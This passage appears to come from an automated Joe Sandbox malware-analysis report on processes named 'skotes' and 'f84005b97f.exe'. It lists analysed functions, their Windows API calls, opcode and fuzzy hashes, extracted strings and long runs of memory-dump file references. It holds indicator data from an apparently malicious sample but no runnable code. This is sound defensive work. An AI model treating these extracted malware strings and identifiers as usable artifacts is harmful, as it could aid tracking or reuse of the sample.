Associated: 00000006.00000002.3326794267.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001166000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001196000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3330245017.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3333670145.000000000135A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3334086187.000000000135C000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 964b886011fa3156479b2df903ccf48636ef99ef14df5bd00f201a022f558e55
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: 85B10232A082469FDB158F28C881BFFBBE5EF55344F24516AE855FB242D6349D02CB60

Function 00E9BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00E9BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00E9BBE4
_xtime_get.LIBCPMT ref: 00E9BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00E9BC13

Memory Dump Source

Source File: 00000006.00000002.3325796292.0000000000E81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3325634928.0000000000E80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3325796292.0000000000EE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326383122.0000000000EE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000000EEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001166000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001196000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3330245017.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3333670145.000000000135A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3334086187.000000000135C000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 32978bb4e415d49fe9dc9bd653d5338771f71d6c52c3fa4d01ef0c2c44ad34ea
Instruction ID: 5dc45e05c545b5d80acc8ebd7660a1e5658d1791467a180359d027a878a0ad8b
Opcode Fuzzy Hash: 32978bb4e415d49fe9dc9bd653d5338771f71d6c52c3fa4d01ef0c2c44ad34ea
Instruction Fuzzy Hash: F2213071A01119AFDF00EFA4DD819BEB7F9EF48714F201029FA01B72A1DB30AD019BA0

Function 00E8E360 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00E8E4F9

Strings

L1, xrefs: 00E8E394
invalid stoi argument, xrefs: 00E8E4F4

Memory Dump Source

Source File: 00000006.00000002.3325796292.0000000000E81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3325634928.0000000000E80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3325796292.0000000000EE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326383122.0000000000EE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000000EEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001166000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001196000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3330245017.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3333670145.000000000135A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3334086187.000000000135C000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_
String ID: L1$invalid stoi argument
API String ID: 909987262-3568411768
Opcode ID: d6df308d9218e9d50731015f7023913c1a2adc6f59e2b086f9542aeba289f6d5
Instruction ID: 26f0d99c230a21e337ddd7440adc9ed94f25828d91e2c36da4293e227a6cf745
Opcode Fuzzy Hash: d6df308d9218e9d50731015f7023913c1a2adc6f59e2b086f9542aeba289f6d5
Instruction Fuzzy Hash: 9EF0F671502314AFC730AB69AD46A5733E8EB45710F101829FD28B7352DB306C04C7A3

Analysis Process: f84005b97f.exePID: 2924, Parent PID: 4268COMMON

Execution Graph

Execution Coverage:	2.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	44.2%
Total number of Nodes:	224
Total number of Limit Nodes:	17

Executed Functions

Function 007DFCA0 Relevance: 6.6, Strings: 5, Instructions: 373
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

t, xrefs: 007DFCBE
VY^_, xrefs: 007DFDFF
V, xrefs: 007DFEDC
Upwrv1m.GTu_1KjVHUXMnpafdldfTT5neW4bZWK7lDE-1729751899-0.0.1.1-/api, xrefs: 007E0137, 007E0154
J|BJ, xrefs: 007E000D

Memory Dump Source

Source File: 00000007.00000002.2824007754.00000000007D1000.00000040.00000001.01000000.00000009.sdmp, Offset: 007D0000, based on PE: true

Associated: 00000007.00000002.2823989679.00000000007D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824043460.0000000000830000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824061191.000000000083A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824076684.000000000083B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824092266.000000000083C000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824637128.0000000000991000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824691664.0000000000993000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824716537.00000000009AA000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824716537.00000000009B8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824826076.00000000009BB000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824845039.00000000009C0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824889929.00000000009D1000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824922493.00000000009D2000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824979612.00000000009E8000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825003707.00000000009EB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825054903.00000000009EC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825105961.00000000009F8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825126975.00000000009F9000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825170638.00000000009FE000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825199646.0000000000A13000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825254717.0000000000A19000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825277461.0000000000A1A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825298842.0000000000A1F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825329670.0000000000A20000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825351898.0000000000A27000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825388899.0000000000A38000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825413563.0000000000A3A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825436706.0000000000A3B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825461117.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825483089.0000000000A47000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825529016.0000000000A4F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825552624.0000000000A57000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825572895.0000000000A5A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825598004.0000000000A75000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825618915.0000000000A77000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825618915.0000000000A95000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825678307.0000000000AC3000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825701111.0000000000AC4000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825701111.0000000000ACD000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825771974.0000000000ADB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825795092.0000000000ADC000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7d0000_f84005b97f.jbxd

Similarity

API ID:
String ID: J|BJ$Upwrv1m.GTu_1KjVHUXMnpafdldfTT5neW4bZWK7lDE-1729751899-0.0.1.1-/api$V$VY^_$t
API String ID: 0-1747700370
Opcode ID: 0db1cb97750e3275992efd9d45a8e9b460c5df669697ab0aa3f33f53792132a3
Instruction ID: 60f4347cd9c0751bbea443be9e64b3946929bd39c44030f8893728a322eb257d
Opcode Fuzzy Hash: 0db1cb97750e3275992efd9d45a8e9b460c5df669697ab0aa3f33f53792132a3
Instruction Fuzzy Hash: 06D1877450D3809BD310DF19959461FBBF2AB9AB44F18882DF4C98B312D37ACD49DB92

Function 007DD110 Relevance: 1.7, APIs: 1, Instructions: 168
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(00000000), ref: 007DD2F1

Memory Dump Source

Source File: 00000007.00000002.2824007754.00000000007D1000.00000040.00000001.01000000.00000009.sdmp, Offset: 007D0000, based on PE: true

Associated: 00000007.00000002.2823989679.00000000007D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824043460.0000000000830000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824061191.000000000083A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824076684.000000000083B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824092266.000000000083C000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824637128.0000000000991000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824691664.0000000000993000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824716537.00000000009AA000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824716537.00000000009B8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824826076.00000000009BB000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824845039.00000000009C0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824889929.00000000009D1000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824922493.00000000009D2000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824979612.00000000009E8000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825003707.00000000009EB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825054903.00000000009EC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825105961.00000000009F8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825126975.00000000009F9000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825170638.00000000009FE000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825199646.0000000000A13000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825254717.0000000000A19000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825277461.0000000000A1A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825298842.0000000000A1F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825329670.0000000000A20000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825351898.0000000000A27000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825388899.0000000000A38000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825413563.0000000000A3A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825436706.0000000000A3B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825461117.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825483089.0000000000A47000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825529016.0000000000A4F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825552624.0000000000A57000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825572895.0000000000A5A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825598004.0000000000A75000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825618915.0000000000A77000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825618915.0000000000A95000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825678307.0000000000AC3000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825701111.0000000000AC4000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825701111.0000000000ACD000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825771974.0000000000ADB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825795092.0000000000ADC000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7d0000_f84005b97f.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 1ce6b850baac55ac111026e67f44e5b7beda0d96f97ac1ef63e514f6049c4f41
Instruction ID: 9feeb71ea2f812d59e46ef15d70b668a4ad0322740839c541d16740419186490
Opcode Fuzzy Hash: 1ce6b850baac55ac111026e67f44e5b7beda0d96f97ac1ef63e514f6049c4f41
Instruction Fuzzy Hash: 6E41127450D380ABC211AB68D588A2EFBF5EF56704F148C0DE9C497352D23AEC149B67

Function 00815700 Relevance: 1.6, APIs: 1, Instructions: 69
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?), ref: 00815784

Memory Dump Source

Source File: 00000007.00000002.2824007754.00000000007D1000.00000040.00000001.01000000.00000009.sdmp, Offset: 007D0000, based on PE: true

Associated: 00000007.00000002.2823989679.00000000007D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824043460.0000000000830000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824061191.000000000083A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824076684.000000000083B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824092266.000000000083C000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824637128.0000000000991000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824691664.0000000000993000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824716537.00000000009AA000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824716537.00000000009B8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824826076.00000000009BB000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824845039.00000000009C0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824889929.00000000009D1000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824922493.00000000009D2000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824979612.00000000009E8000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825003707.00000000009EB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825054903.00000000009EC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825105961.00000000009F8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825126975.00000000009F9000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825170638.00000000009FE000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825199646.0000000000A13000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825254717.0000000000A19000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825277461.0000000000A1A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825298842.0000000000A1F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825329670.0000000000A20000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825351898.0000000000A27000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825388899.0000000000A38000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825413563.0000000000A3A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825436706.0000000000A3B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825461117.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825483089.0000000000A47000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825529016.0000000000A4F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825552624.0000000000A57000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825572895.0000000000A5A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825598004.0000000000A75000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825618915.0000000000A77000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825618915.0000000000A95000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825678307.0000000000AC3000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825701111.0000000000AC4000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825701111.0000000000ACD000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825771974.0000000000ADB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825795092.0000000000ADC000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7d0000_f84005b97f.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 595cc41fe3d37b2239b04202b59406584563f516d46fe541825d7c422739aed0
Instruction ID: e46ccf85774b0f063e817efe11648cb00c6bd2537ffc180392751eb917eef050
Opcode Fuzzy Hash: 595cc41fe3d37b2239b04202b59406584563f516d46fe541825d7c422739aed0
Instruction Fuzzy Hash: 75118C7191C240EBC311AF28E855A5BBBE9EF96710F058828E484DB251D339D851CB93

Function 00815BB0 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(008198C0,005C003F,00000002,00000018,?), ref: 00815BDE

Memory Dump Source

Source File: 00000007.00000002.2824007754.00000000007D1000.00000040.00000001.01000000.00000009.sdmp, Offset: 007D0000, based on PE: true

Associated: 00000007.00000002.2823989679.00000000007D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824043460.0000000000830000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824061191.000000000083A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824076684.000000000083B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824092266.000000000083C000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824637128.0000000000991000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824691664.0000000000993000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824716537.00000000009AA000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824716537.00000000009B8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824826076.00000000009BB000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824845039.00000000009C0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824889929.00000000009D1000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824922493.00000000009D2000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824979612.00000000009E8000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825003707.00000000009EB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825054903.00000000009EC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825105961.00000000009F8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825126975.00000000009F9000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825170638.00000000009FE000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825199646.0000000000A13000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825254717.0000000000A19000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825277461.0000000000A1A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825298842.0000000000A1F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825329670.0000000000A20000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825351898.0000000000A27000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825388899.0000000000A38000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825413563.0000000000A3A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825436706.0000000000A3B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825461117.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825483089.0000000000A47000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825529016.0000000000A4F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825552624.0000000000A57000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825572895.0000000000A5A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825598004.0000000000A75000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825618915.0000000000A77000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825618915.0000000000A95000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825678307.0000000000AC3000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825701111.0000000000AC4000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825701111.0000000000ACD000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825771974.0000000000ADB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825795092.0000000000ADC000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7d0000_f84005b97f.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction ID: fb6f357373f259be8b0e83fffc5d2a3912a28e0da7d2036ce94b71e982b3a7e9
Opcode Fuzzy Hash: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction Fuzzy Hash: 76E0FE75908316AB9A09CF45C14444EFBE5BFC4714F11CC8DA4D867210D3B0AD46DF82

Function 008199D0 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2824007754.00000000007D1000.00000040.00000001.01000000.00000009.sdmp, Offset: 007D0000, based on PE: true

Associated: 00000007.00000002.2823989679.00000000007D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824043460.0000000000830000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824061191.000000000083A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824076684.000000000083B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824092266.000000000083C000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824637128.0000000000991000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824691664.0000000000993000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824716537.00000000009AA000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824716537.00000000009B8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824826076.00000000009BB000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824845039.00000000009C0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824889929.00000000009D1000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824922493.00000000009D2000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2824979612.00000000009E8000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825003707.00000000009EB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825054903.00000000009EC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825105961.00000000009F8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825126975.00000000009F9000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825170638.00000000009FE000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825199646.0000000000A13000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825254717.0000000000A19000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825277461.0000000000A1A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825298842.0000000000A1F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825329670.0000000000A20000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2825351898.0000000000A27000.00000040.00000001.01000000.00000009.sdmpDownload File
